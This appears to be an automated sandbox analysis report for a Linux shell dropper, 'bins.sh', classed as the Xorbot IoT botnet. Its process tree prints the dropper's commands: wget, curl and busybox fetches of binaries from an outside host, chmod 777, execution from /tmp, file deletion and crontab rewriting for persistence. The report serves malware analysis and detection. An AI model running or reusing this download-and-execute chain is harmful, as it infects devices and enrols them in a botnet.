Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    161s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    24/02/2025, 22:27

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250224-2c59aa1ms8
  • SHA256 6f566d3abb8aabe56e5aaa88ac03e45a5791bf9596b7789d45430566a4b08526
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1619) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 7 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:655
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:657
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/RYnXtmM5WbC95vm5NRspVgx9LpmABMjTOy
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:659
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/RYnXtmM5WbC95vm5NRspVgx9LpmABMjTOy
        2⤵
        • Checks CPU configuration
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:698
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/RYnXtmM5WbC95vm5NRspVgx9LpmABMjTOy
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:710
      • /bin/chmod
        chmod 777 RYnXtmM5WbC95vm5NRspVgx9LpmABMjTOy
        2⤵
        • File and Directory Permissions Modification
        PID:715
      • /tmp/RYnXtmM5WbC95vm5NRspVgx9LpmABMjTOy
        ./RYnXtmM5WbC95vm5NRspVgx9LpmABMjTOy
        2⤵
          PID:716
        • /bin/rm
          rm RYnXtmM5WbC95vm5NRspVgx9LpmABMjTOy
          2⤵
            PID:718
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/IXVnrcfgPW1u0KItOCn8CFjBXJuDchb8No
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:720
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/IXVnrcfgPW1u0KItOCn8CFjBXJuDchb8No
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:749
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/IXVnrcfgPW1u0KItOCn8CFjBXJuDchb8No
            2⤵
            • System Network Configuration Discovery
            PID:771
          • /bin/chmod
            chmod 777 IXVnrcfgPW1u0KItOCn8CFjBXJuDchb8No
            2⤵
            • File and Directory Permissions Modification
            PID:772
          • /tmp/IXVnrcfgPW1u0KItOCn8CFjBXJuDchb8No
            ./IXVnrcfgPW1u0KItOCn8CFjBXJuDchb8No
            2⤵
            • Renames itself
            • Reads runtime system information
            PID:773
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:775
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:776
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:777
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:778
                • /bin/rm
                  rm IXVnrcfgPW1u0KItOCn8CFjBXJuDchb8No
                  2⤵
                    PID:781
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/Jwm4qcf3ovcyBQeWFRYKTQEwtssLlK8K5E
                    2⤵
                    • System Network Configuration Discovery
                    PID:784

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

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                      Downloads

                      IXVnrcfgPW1u0KItOCn8CFjBXJuDchb8No
                      • Path /tmp/IXVnrcfgPW1u0KItOCn8CFjBXJuDchb8No
                      • Size 177KB
                      • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      RYnXtmM5WbC95vm5NRspVgx9LpmABMjTOy
                      • Path /tmp/RYnXtmM5WbC95vm5NRspVgx9LpmABMjTOy
                      • Size 98KB
                      • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      tmp.wm7vie
                      • Path /var/spool/cron/crontabs/tmp.wm7vie
                      • Size 210B
                      • SHA256 91f302ede8dafd6ce373a060f05c0a7b093d4ad0de5176800ebe87ba303b7ace
                      • MD5 SHA1 SHA512
                      Submit Download